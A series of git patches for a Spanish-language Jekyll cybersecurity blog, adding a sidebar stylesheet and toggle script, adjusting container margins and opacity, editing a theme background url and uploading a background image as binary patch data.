F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 03:35:39 +0200 Subject: [PATCH 0407/1701] Create main.css --- main.css | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 main.css diff --git a/main.css b/main.css new file mode 100644 index 00000000000..b4761c95d0f --- /dev/null +++ b/main.css @@ -0,0 +1,46 @@ +* { + margin: 0px; + padding: 0px; +} + +#sidebar { + position: fixed; + width: 200px; + height: 100%; + background: #151719; + left: -200px; + transition: all 500ms linear; +} + +#sidebar.active { + left: 0px; +} + +#sidebar ul li { + color: rgba(230, 230, 230, .9); + list-style: none; + padding: 15px 10px; + border-bottom: 1px solid rgba(100, 100, 100, .3); + text-align: center; +} + +.logo { + border-radius: 50%; + display: block; + margin: 0 auto; +} + +#sidebar .toggle-btn { + position: absolute; + left: 230px; + top: 20px; + cursor: pointer; +} + +#sidebar .toggle-btn span { + display: block; + width: 40px; + text-align: center; + font-size: 30px; + border: 3px solid #000; +} From da765b4d61d47cf1d8f0c39917cfddd1a75f1b30 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 03:36:16 +0200 Subject: [PATCH 0408/1701] Create main.js --- main.js | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 main.js diff --git a/main.js b/main.js new file mode 100644 index 00000000000..b92d4c5ccc7 --- /dev/null +++ b/main.js @@ -0,0 +1,8 @@ +// sidebar toggle +const btnToggle = document.querySelector('.toggle-btn'); + +btnToggle.addEventListener('click', function () { + console.log('clik') + document.getElementById('sidebar').classList.toggle('active'); + console.log(document.getElementById('sidebar')) +}); From 44b12b5319580ae77565da6d984b90236b4ce911 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 03:42:17 +0200 Subject: [PATCH 0409/1701] Rename main.js to src/main.js --- main.js => src/main.js | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename main.js => src/main.js (100%) diff --git a/main.js b/src/main.js similarity index 100% rename from main.js rename to src/main.js From b74e96c68924cfa8655ae1ef70797a09b74adf8a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 03:43:12 +0200 Subject: [PATCH 0410/1701] Rename main.css to src/main.css --- main.css => src/main.css | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename main.css => src/main.css (100%) diff --git a/main.css b/src/main.css similarity index 100% rename from main.css rename to src/main.css From b73b1598bc9463330b13df144ac349f48de7f93e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 03:47:49 +0200 Subject: [PATCH 0411/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 6e15c0e8d02..1fa2d6358f6 100644 --- a/index.md +++ b/index.md @@ -8,7 +8,7 @@ From 25d29381dc7a9f1162f6566c8f85dfce5461df76 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 30 May 2022 17:20:08 +0200 Subject: [PATCH 0677/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index bd4108c4ea8..28cbc33b349 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -28,7 +28,7 @@ particles-js { background-position:center; margin-left: auto; margin-right: auto; - margin-top: -1000px; + margin-top: -950px; /* Altura del cajón respecto a la página */ padding: 20px 30px; position: relative; z-index: 99; From fbcc8cd1ddfe0fd2e9de8a5832dad88cb1ce38df Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 30 May 2022 17:21:45 +0200 Subject: [PATCH 0678/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index 75e9301b648..f1d926adf81 100644 --- a/index.html +++ b/index.html @@ -38,7 +38,7 @@

Hacking

-

Blog destinado al aprendizaje sobre ciberseguridad. En el prodrás encontrar artículos, vulnerabilidades, herramientas de pentesting, y todo lo que voy aprendiendo en relación con el hacking. +

Blog destinado al aprendizaje sobre ciberseguridad. En el prodrás encontrar artículos, vulnerabilidades, herramientas de pentesting, y todo lo que voy aprendiendo en relación con el hacking.

Conviertete en uno
From 7dc49b634398007c5ef1c55ff911febe0dba5c33 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 30 May 2022 17:23:10 +0200 Subject: [PATCH 0679/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 28cbc33b349..6551c94efdd 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -28,7 +28,7 @@ particles-js { background-position:center; margin-left: auto; margin-right: auto; - margin-top: -950px; /* Altura del cajón respecto a la página */ + margin-top: -920px; /* Altura del cajón respecto a la página */ padding: 20px 30px; position: relative; z-index: 99; From 0414222cd4bd41d809c1584561907cc6bd2360e7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 30 May 2022 17:25:48 +0200 Subject: [PATCH 0680/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 6551c94efdd..601aee21765 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -28,7 +28,7 @@ particles-js { background-position:center; margin-left: auto; margin-right: auto; - margin-top: -920px; /* Altura del cajón respecto a la página */ + margin-top: -900px; /* Altura del cajón respecto a la página */ padding: 20px 30px; position: relative; z-index: 99; From 70a3bce00c4412e7d7c3d0701b6617768f090aca Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 30 May 2022 17:28:44 +0200 Subject: [PATCH 0681/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 601aee21765..d23549c5618 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -28,7 +28,7 @@ particles-js { background-position:center; margin-left: auto; margin-right: auto; - margin-top: -900px; /* Altura del cajón respecto a la página */ + margin-top: -910px; /* Altura del cajón respecto a la página */ padding: 20px 30px; position: relative; z-index: 99; From d4e2fdaf8eb1038930f1e2f71d66aaac07c2d87a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 30 May 2022 18:21:12 +0200 Subject: [PATCH 0682/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index d23549c5618..ce294e19485 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -28,7 +28,7 @@ particles-js { background-position:center; margin-left: auto; margin-right: auto; - margin-top: -910px; /* Altura del cajón respecto a la página */ + margin-top: -915px; /* Altura del cajón respecto a la página */ padding: 20px 30px; position: relative; z-index: 99; From 07e5997d24ef2925a72808d5a25e81332f4d17f8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 00:39:04 +0200 Subject: [PATCH 0683/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index ce294e19485..ecdf35ba80c 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -32,7 +32,7 @@ particles-js { padding: 20px 30px; position: relative; z-index: 99; - opacity: .85; + opacity: .10; } .contenedor.header { From 6580c6f145d57146f11b53d0398ea1d599a79435 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 00:48:31 +0200 Subject: [PATCH 0684/1701] Update estilos.css --- assets/css/estilos.css | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index ecdf35ba80c..023a6fdc724 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -21,18 +21,18 @@ particles-js { } .contenedor { - width: 90%; /* Cuadrado bordeado: Ancho */ + width: 90%; /* Cuadrado bordeado: Ancho */ max-width: 1200px; background-size: cover; background-image: url('../images/bg-header3.jpeg'); background-position:center; margin-left: auto; margin-right: auto; - margin-top: -915px; /* Altura del cajón respecto a la página */ - padding: 20px 30px; + margin-top: -915px; /* Altura del cajón respecto a la página. */ + padding: 20px 30px; position: relative; z-index: 99; - opacity: .10; + opacity: .99; /* Opacidad del contenedor. */ } .contenedor.header { From cfc37bb03692491f08ce6fcbd9357f8d57f1aeef Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:07:05 +0200 Subject: [PATCH 0685/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index b6f553fc2db..2a9a00271bb 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -17,7 +17,7 @@ $container-max-width: 1000px; body { margin: 0; padding: 0; - background: $body-background url("../images/bkg.png") 0 0; + background: $body-background url("../js/app.js") 0 0; color: $body-foreground; font-size: 16px; line-height: 1.5; From 311e742f6c85dd6404c17740978b02ca55909654 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:15:40 +0200 Subject: [PATCH 0686/1701] Add files via upload --- assets/images/FondoWeb.png | Bin 0 -> 581317 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/images/FondoWeb.png diff --git a/assets/images/FondoWeb.png b/assets/images/FondoWeb.png new file mode 100644 index 0000000000000000000000000000000000000000..b562f8df6f86e6494420dbe0a3e0226e42752a75 GIT binary patch literal 581317 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 